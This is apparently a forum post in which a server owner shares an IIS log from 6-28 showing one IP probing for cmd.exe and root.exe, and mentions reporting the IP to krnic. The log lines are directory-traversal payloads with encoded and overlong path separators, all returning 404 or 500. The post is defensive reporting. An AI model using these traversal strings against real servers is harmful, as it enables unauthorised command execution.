Here's my local IIS server log for part of 6-28. Whaddya think?

Traced the ip and sent some emails out. Got a response from krnic...looks like they are going to look into it.
02:06:37 213.189.83.102 HEAD /MSADC/root.exe 404
02:06:37 213.189.83.102 HEAD /PBServer/..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:42 213.189.83.102 HEAD /Rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:42 213.189.83.102 HEAD /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
02:06:44 213.189.83.102 HEAD /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe 404
02:06:45 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:06:46 213.189.83.102 HEAD /_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:47 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:06:47 213.189.83.102 HEAD /adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:48 213.189.83.102 HEAD /c/winnt/system32/cmd.exe 404
02:06:49 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:06:50 213.189.83.102 HEAD /d/winnt/system32/cmd.exe 404
02:06:50 213.189.83.102 HEAD /iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe 404
02:06:51 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:06:51 213.189.83.102 HEAD /msaDC/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:54 213.189.83.102 HEAD /msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
02:06:56 213.189.83.102 HEAD /msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:06:57 213.189.83.102 HEAD /msadc/..%5c../..%5c../..%5c../winnt/system32/cmd.exe 404
02:06:57 213.189.83.102 HEAD /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe 404
02:06:58 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:06:58 213.189.83.102 HEAD /msadc/..o../winnt/system32/cmd.exe 404
02:06:59 213.189.83.102 HEAD /msadc/..Á%pc../..Á%pc../..Á%pc../winnt/system32/cmd.exe 404
02:06:59 213.189.83.102 HEAD /msadc/..Á%pc../winnt/system32/cmd.exe 404
02:07:00 213.189.83.102 HEAD /winnt/system32/cmd.exe 404
02:07:02 213.189.83.102 HEAD /msadc/..ø€€€¯../..ø€€€¯../..ø€€€¯../winnt/system32/cmd.exe 404
02:07:02 213.189.83.102 HEAD /msadc/..ø€€€¯../winnt/system32/cmd.exe 404
02:07:03 213.189.83.102 HEAD /samples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe 404
02:07:04 213.189.83.102 HEAD /scripts/.%2e/.%2e/winnt/system32/cmd.exe 500
02:07:06 213.189.83.102 HEAD /scripts/..%5c../winnt/system32/cmd.exe 500
02:07:07 213.189.83.102 HEAD /scripts/..%2f..%2f..%2f..%2fwinnt/system32/cmd.exe 500
02:07:08 213.189.83.102 HEAD /scripts/..%2f../winnt/system32/cmd.exe 500
02:07:09 213.189.83.102 HEAD /scripts/..%5c..%5cwinnt/system32/cmd.exe 500
02:07:09 213.189.83.102 HEAD /scripts/..%5c../winnt/system32/cmd.exe 500